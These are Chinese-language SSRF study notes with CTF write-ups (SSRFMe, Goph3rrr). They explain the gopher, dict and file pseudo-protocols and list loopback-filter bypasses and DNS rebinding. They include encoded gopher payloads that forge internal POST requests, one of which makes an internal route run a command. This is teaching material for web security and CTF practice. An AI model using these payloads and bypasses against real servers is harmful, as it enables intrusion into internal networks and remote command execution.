目录

ssrf总结

ssrf总结

SSRF(Server-Side Request Forgery,服务器端请求伪造)

ssrf的攻击目标从外网无法访问的内部系统漏洞成因 服务器端提供了能从其他服务器应用获取数据的功能,并且对目标地址没有做过滤与限制。 ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250211184934779.png&pos_id=img- jrxUY9P2-1741909831955) 导致漏洞产生的相关函数: file_get_contents():从用户指定的url中获得内容 fsockopen():用于实现对用户指定的url数据的获取 curl_exec():执行指定的curl会话 fopen(): readfile(): 注意事项: 一般情况下PHP不会开启fopen的gopher wrapper file_get_contents的gopher协议不能URL编码 file_get_contents关于Gopher的302跳转会出现bug,导致利用失败 curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用 curl_exec() 默认不跟踪跳转, file_get_contents() file_get_contents支持php://input协议

漏洞验证方式

1、查看请求资源是否在本地进行 例如:http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞 2、使用DNS外带进行验证 工具:Burp的Collaboratordnslog.cnceye等等 提交指向特定DNS域名的URL,然后查看是否有DNS查询请求 3、利用回显差异 提交不同的URL,观察服务器响应内容或时间差异。 例如: 如果两次响应时间不同,就可能表示服务器正在尝试请求这些地址 4、使用内网地址进行测试

漏洞利用

伪协议 file:// 从文件系统中获取文件内容,如file:///etc/passwd 查找内网主机(file)–>端口探测(dict)–>目录扫描(http)![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250211202751018.png&pos_id=img- MPQqYG5d-1741909831956)

file伪协议信息收集

file:// 从文件系统中获取文件内容,格式为 file://[文件路径] file:///etc/passwd 读取文件passwd file:///etc/hosts 显示当前操作系统网卡的ip,还可以得到网段,进行爆破,之后查看arp缓存表判断内网中存活的机器 file:///proc/net/arp 显示arp缓存表(寻找内网其他主机) file:///proc/net/flib_trie 显示当前网段路由信息

dict伪协议信息收集

dict:// 字典服务协议,访问字典资源。格式为 dict://ip:port+/tcp/ip数据 可以用来实现内网端口的探查、获取内网信息、爆破密码等。 dict://ip:端口 可以使用bp同时爆破内网网段与端口

http伪协议信息收集

http伪协议作用:常规url形式,允许通过HTTP 1.0的GET方法,以只读的方式访问文件或资源,可以用来扫描目录。CTF中常用于文件包含。格式为 http://ip:port/资源 仍然是结合bp进行爆破资源。

gopher伪协议

利用范围比较广:【get提交】【post提交】【redis】【Fastcgi】【sql】 格式: URL:gopher://host:port/ gopher请求不转发第一个字符,因此需要第一位加上填充位 ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250212102119609.png&pos_id=img-5uncvXoq-1741909831956) ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250212102745714.png&pos_id=img- kIixrnGs-1741909831956) ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250212103158013.png&pos_id=img- Jqb7WumQ-1741909831956) 实验环境 //name.php php highlight_file(FILE); echo ‘GET name=’.$_GET[’name’].’</br’; echo ‘POST name=’.$_POST[’name’].’’; ?> GET提交 需要保留头部信息:路径目标地址Host: 例如:

注意保留换行符,添加填充位

可以直接去bp里面复制然后url编码两次(URL后面的部分,从_GET开始)之后发送数据包。因为经过两次发包,所以要url编码两次。

空格:%20

文化:%3f

换行符:%0d%0A

包结束的时候也要有回车 gopher://172.250.250.4:80/_GET /name.php?name=benben HTTP/1.1 Host: 172.250.250.4 gopher://172.250.250.4:80/GET%20/name.php%3fname=benben%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A 或者使用bp两次url编码 gopher://172.250.250.4:80/%25%34%37%25%34%35%25%35%34%25%32%30%25%32%66%25%36%65%25%36%31%25%36%64%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30%25%33%66%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%36%32%25%36%35%25%36%65%25%36%32%25%36%35%25%36%65%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%37%25%33%32%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%34 POST提交 需要保留头部信息:POSTHost: Content-Type:Content-Length: 例如: POST /name.php HTTP/1.1 Host: 172.250.250.4 Content-Type: application/x-www-frorm-urlencoded Content-Length: 11 name=benben gopher://172.250.250.4:80/POST%20/name.php%2HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0AContent-Type:%20application/x-www-frorm-urlencoded%0d%0AContent-Length:%2011%0d%0A%0d%0Aname=benben 或者使用bp两次url编码 gopher://172.250.250.4:80/%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%65%25%36%31%25%36%64%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%37%25%33%32%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%37%32%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%31%25%33%31%25%30%64%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%30%64%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%36%32%25%36%35%25%36%65%25%36%32%25%36%35%25%36%65

回环地址绕过

有些时候会限制访问本地网站的内容,例如:$_SEVER['REMOTE_ADD']='127.0.0.1',看到REMOTE_ADD地址127.0.0.1时候才会显示,而127.0.0.1会被限制。 可以将127.0.0.1变形进行绕过 127.0.0.1 点分十进制 0b01111111000000000000000000000001 二进制 017700000001 八进制 0x7F000001 十六进制 2130706433 十进制(连续) 0177.0000.0000.0001 点分八进制 0x7F.0x00.0x00.0x01 点分十六进制 0x7F.0.0.1 也可以只转一个

302重定向绕过

使用302重定向绕过ip限制,访问内网服务器。 ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250212154843424.png&pos_id=img- jFRh6uMr-1741909831956) 实验环境 一台公网服务器 //index.php php header(‘Location:http://127.0.0.1/flag.php’); 不能使用python,要使用php php -S 0.0.0.0:7777 之后在有ssrf的网站curl这个url/flag.php

DNS重绑定绕过

SSRF防御模式 1、解析目标URL,获取其Host 2、对Host进行DNS解析,获取Host所指向的ip地址 3、检查ip地址是否合法(如检测是否是私有Ip) 4、请求URL 5、如果有跳转,拿出URL跳转,执行1 这种防御模式可以有效限制:直接访问内网ip、302跳转、xip.io/xip.name及短连接变换等URL变形、畸形URL、iframe攻击、ip进制转换等。 针对这种防御,可以使用DNS重绑定攻击(DNS Rebinding Attack)。 攻击原理 利用服务器两次解析同一个域名的短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf。 第一次DNS解析:是对URL的host进行解析。

第二次DNS解析:使用CURL发包的时候进行解析 。 第一次DNS解析的IP设为合法IP来绕过host合法性检测,第二次DNS解析时更换URL对应的IP变为内网IP,在TTL结束、缓存失效之后,重新访问此URL就能获取被更换的IP,就能使用SSRF访问内网。 整个过程对于浏览器来说整个过程都是访问同一域名,因此认为是安全的,这就导致绕过。 DNS中的TTL机制:域名和IP绑定关系的Cache存活的最长时间。 TTL最理想的设置为0,即在第一次解析之后,立马换为我们想要访问的内网ip,但有些公共DNS服务器,比如114.114.114.114还是会把记录进行缓存。 在某些情况下,我们甚至可以对同一个域名设置两个A记录(一个内网、一个外网),随机访问两条记录中的一个,就会有概率成功。 ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250212170403029.png&pos_id=img- GtxcHGU1-1741909831956) 最好在第一个填写公网地址,第二个填写内网地址。然后复制下面的url,拿到具有该漏洞的页面进行测试。例如: ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250212170616969.png&pos_id=img-F2K5tRRp-1741909831956) ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250212162745906.png&pos_id=img- UGJ1yQwl-1741909831956) ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250212162914668.png&pos_id=img-2bYq1Den-1741909831956)

XXXE漏洞利用


与URL跳转的区别

区别: url跳转会让网页直接跳转到指定的网站 ssrf不会跳转到其他网站,可回显的ssrf会在当前页面加载,盲的不会

SSRF的防御

1、解析目标URL,获取其Host 2、解析Host,获取Host指向的ip地址

127.0.0.1绕过

302跳转绕过 有一个sudo.cc的服务,当访问这个服务的时候,会自动重定向到127.0.0.1。 绕过时使用sudo.cc代替127.0.0.1即可。 或者使用www.localtest.med代替 root@VM-8-8-ubuntu:/# ping sudo.cc -c 4 PING sudo.cc (127.0.0.1) 56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026 ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.036 ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.034 ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.033 ms — sudo.cc ping statistics — 4 packets transmitted, 4 received, 0% packet loss, time 3052ms rtt min/avg/max/mdev = 0.026/0.032/0.036/0.003 ms 使用@绕过 访问http://notfound@127.0.0.1http://127.0.0.1的效果是一样的。无论notfound部分是什么都可以。 使用代替. 这里没有成功 省略0 http://127.0.0.1变成http://127.1 root@VM-8-8-ubuntu:/# ping 127.1 -c 4 PING 127.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.028 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.033 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.038 ms — 127.1 ping statistics — 4 packets transmitted, 4 received, 0% packet loss, time 3070ms rtt min/avg/max/mdev = 0.028/0.033/0.038/0.003 ms 进制转换127.0.0.1转换成其他进制绕过检测 0177.0.0.1 //八进制 0x7f.0.0.1 //十六进制 2130706433 //十进制 127.0.0.1 点分十进制 0b01111111000000000000000000000001 二进制 017700000001 八进制 0x7F000001 十六进制 2130706433 十进制(连续) 0177.0000.0000.0001 点分八进制 0x7F.0x00.0x00.0x01 点分十六进制 0x7F.0.0.1 也可以只转一个 特殊0 在windows下,0代表0.0.0.0,在linux下,0代表127.0.0.1 C:\Users\40835>ping 0 正在 Ping 0.0.0.0 具有 32 字节的数据: PING:传输失败。常见故障。 PING:传输失败。常见故障。 PING:传输失败。常见故障。 PING:传输失败。常见故障。 0.0.0.0 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失), root@VM-8-8-ubuntu:/# ping 0 -c 4 PING 0 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.033 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.038 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.030 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.032 ms — 0 ping statistics — 4 packets transmitted, 4 received, 0% packet loss, time 3056ms rtt min/avg/max/mdev = 0.030/0.033/0.038/0.003 ms 也可以尝试4位都写0:0.0.0.0 root@VM-8-8-ubuntu:/# ping 0.0.0.0 -c 4 PING 0.0.0.0 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.035 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.026 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.027 ms — 0.0.0.0 ping statistics — 4 packets transmitted, 4 received, 0% packet loss, time 3073ms rtt min/avg/max/mdev = 0.026/0.031/0.036/0.004 ms ipv6表示法绕过 [0:0:0:0:0:ffff:127.0.0.1]是ipv6兼容ipv4的格式 http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php 本地回环地址绕过 整个127.0.0.0/8都是回环地址,使用127.0.0.2代替127.0.0.1,或者其他都可以尝试。 DNS重绑定 在线利用网站:https://lock.cmpxchg8b.com/rebinder.html 攻击原理 利用服务器两次解析同一个域名的短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf。

第一次DNS解析:是对URL的host进行解析。

第二次DNS解析:使用CURL发包的时候进行解析 。 第一次DNS解析的IP设为合法IP来绕过host合法性检测,第二次DNS解析时更换URL对应的IP变为内网IP,在TTL结束、缓存失效之后,重新访问此URL就能获取被更换的IP,就能使用SSRF访问内网。 整个过程对于浏览器来说整个过程都是访问同一域名,因此认为是安全的,这就导致绕过。 DNS中的TTL机制:域名和IP绑定关系的Cache存活的最长时间。 TTL最理想的设置为0,即在第一次解析之后,立马换为我们想要访问的内网ip,但有些公共DNS服务器,比如114.114.114.114还是会把记录进行缓存。 在某些情况下,我们甚至可以对同一个域名设置两个A记录(一个内网、一个外网),随机访问两条记录中的一个,就会有概率成功。 ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250212170403029.png&pos_id=img- SHWsfE5u-1741909831956) 最好在第一个填写公网地址,第二个填写内网地址。然后复制下面的url,拿到具有该漏洞的页面进行测试。例如: ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250212170616969.png&pos_id=img- fwIqrgay-1741909831957)

伪协议

file://

用于从文件系统中获取文件内容,格式:file://[文件路径] file:///etc/passwd 读取文件passwd file:///etc/hosts 显示当前操作系统网卡的IP file:///proc/net/arp 显示arp缓存表(寻找内网其他主机) file:///proc/net/fib _trie 显示当前网段路由信息

dict://

字典服务协议,用于访问字典资源,如:dict://ip:6666/info 可用于扫描端口、获取内网信息、爆破密码等。

ftp://

可以用于网络端口扫描,但是效率低

http://

以只读访问文件或资源

gopher://

基本格式:gopher://ip:port/_abcd 由于gopher请求不转发第一个字符,要使用下划线或其他符号填充首位。

题目练习

[网鼎杯 2020 玄武组]SSRFMe

php function check_inner_ip($url) { $match_result=preg_match(’/^(http|https|gopher|dict)?://.(/)?.$/’,$url); if (!$match_result) { die(‘url fomat error’); } try { $url_parse=parse_url($url); } catch(Exception $e) { die(‘url fomat error’); return false; } $hostname=$url_parse[‘host’]; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long(‘127.0.0.0’)>24 == $int_ip»24 || ip2long(‘10.0.0.0’)»24 == $int_ip»24 || ip2long(‘172.16.0.0’)»20 == $int_ip»20 || ip2long(‘192.168.0.0’)»16 == $int_ip»16; } function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.’ is inner ip’; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info[‘redirect_url’]) { safe_request_url($result_info[‘redirect_url’]); } curl_close($ch); var_dump($output); } } if(isset($_GET[‘url’])){ $url = $_GET[‘url’]; if(!empty($url)){ safe_request_url($url); } } else{ highlight_file(FILE); } // Please visit hint.php locally. ?> 首先check_inner_ip()函数要求只能使用http|https|gopher|dict这四个协议,然后通过parse_url获取的地址执行gethostbyname()函数

gethostbyname函数只能解析A记录(ipv4地址),而不能解析127.0.0.1,也防御了127.0.0.1.xip.io这样利用dns解析的绕过方法 ip2long函数将ip地址转成整数,判断为是否为内网网段,不能通过转换进制绕过了。 代码最后提示访问本地的hint.php,需要绕过本地验证,下面是可行的两种方式 http://0.0.0.0/hint.php http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php hint.php内容 string(1360) " <?php if($_SERVER[‘REMOTE_ADDR’]===“127.0.0.1”){ highlight_file(FILE); } if(isset($_POST[‘file’])){ file_put_contents($_POST[‘file’],"<?php echo ‘redispass is root’;exit();".$_POST[‘file’]); } " 可以看到考点是file_put_contents死亡代码,但是这里不太一样,还多了一句redispass is root,和redis有关 这里考点是redis主从复制 主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。 redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。 解题思路是,创建一个恶意的redis服务器,作为Redis朱镕基,该Redis主机能够回应其他连接他的redis从机的响应。 我们可以使用我们的VPS作为恶意Redis主机,然后远程连接目标Redis服务器,通过slaveof命令将目标的Rdis机器设置为我们的从机。将恶意Redis主机上的wxp同步到Redis从机上,并将dbfilename设置为exp.so。最后控制Redis从机加载模块执行系统命令。 用到这三个文件 github项目地址: ![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img- home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5CDocument%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5Cssrf.assets%5Cimage-20250303145017242.png&pos_id=img- plDwaCiF-1741909831957)

GHCTF Goph3rrr

首先扫目录,得到app.py源码。 @app.route(’/Login’, methods=[‘GET’, ‘POST’]) def login(): junk_code() if request.method == ‘POST’: username = request.form.get(‘username’) password = request.form.get(‘password’) if username in users and users[username][‘password’] == hashlib.md5(password.encode()).hexdigest(): return b64e(f"Welcome back, {username}!") return b64e(“Invalid credentials!”) return render_template_string(“““省略”””) @app.route(’/Gopher’) def visit(): url = request.args.get(‘url’) if url is None: return “No url provided :)” url = urlparse(url) realIpAddress = socket.gethostbyname(url.hostname) if url.scheme == “file” or realIpAddress in BlackList: return “No (≧∇≦)” result = subprocess.run([“curl”, “-L”, urlunparse(url)], capture_output=True, text=True) return result.stdout @app.route(’/RRegister’, methods=[‘GET’, ‘POST’]) def register(): junk_code() if request.method == ‘POST’: username = request.form.get(‘username’) password = request.form.get(‘password’) if username in users: return b64e(“Username already exists!”) users[username] = {‘password’: hashlib.md5(password.encode()).hexdigest()} return b64e(“Registration successful!”) return render_template_string(“““省略”””) @app.route(’/Manage’, methods=[‘POST’]) def cmd(): if request.remote_addr != “127.0.0.1”: return “Forbidden!!!” if request.method == “GET”: return “Allowed!!!” if request.method == “POST”: return os.popen(request.form.get(“cmd”)).read() @app.route(’/Upload’, methods=[‘GET’, ‘POST’]) def upload_avatar(): junk_code() if request.method == ‘POST’: username = request.form.get(‘username’) if username not in users: return b64e(“User not found!”) file = request.files.get(‘avatar’) if file: file.save(os.path.join(avatar_dir, f"{username}.png")) return b64e(“Avatar uploaded successfully!”) return b64e(“No file uploaded!”) return render_template_string(“““省略”””) @app.route(’/app.py’) def download_source(): return send_file(file, as_attachment=True) if name == ‘main’: app.run(host=‘0.0.0.0’, port=8000) 在这里看到很明显的ssrf @app.route(’/Gopher’) def visit(): url = request.args.get(‘url’) if url is None: return “No url provided :)” url = urlparse(url) realIpAddress = socket.gethostbyname(url.hostname) if url.scheme == “file” or realIpAddress in BlackList: return “No (≧∇≦)” result = subprocess.run([“curl”, “-L”, urlunparse(url)], capture_output=True, text=True) return result.stdout @app.route(’/Manage’, methods=[‘POST’]) def cmd(): if request.remote_addr != “127.0.0.1”: return “Forbidden!!!” if request.method == “GET”: return “Allowed!!!” if request.method == “POST”: return os.popen(request.form.get(“cmd”)).read() 题目也提示要打gopher。可以Gopher路由打ssrf到?manage路由 首先访问/Manage路由,满足其条件 POST /Manage HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 7 cmd=env 然后进行两次url编码(网站:https://www.iamwawa.cn/urldecode.html)(或者在bp里面两次url编码) POST%2520%252FManage%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%25207%250A%250Acmd%253Denv 或 %25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%34%64%25%36%31%25%36%65%25%36%31%25%36%37%25%36%35%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%37%25%30%61%25%30%61%25%36%33%25%36%64%25%36%34%25%33%64%25%36%35%25%36%65%25%37%36 payload: /Gopher?url=gopher://sudo.cc:8000/_POST%2520%252FManage%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%25207%250A%250Acmd%253Denv 由于gopher伪协议不计入第一个字符,需要填充,然后127.0.0.1需要绕过。可以使用sudo.cc 127.0.0.2等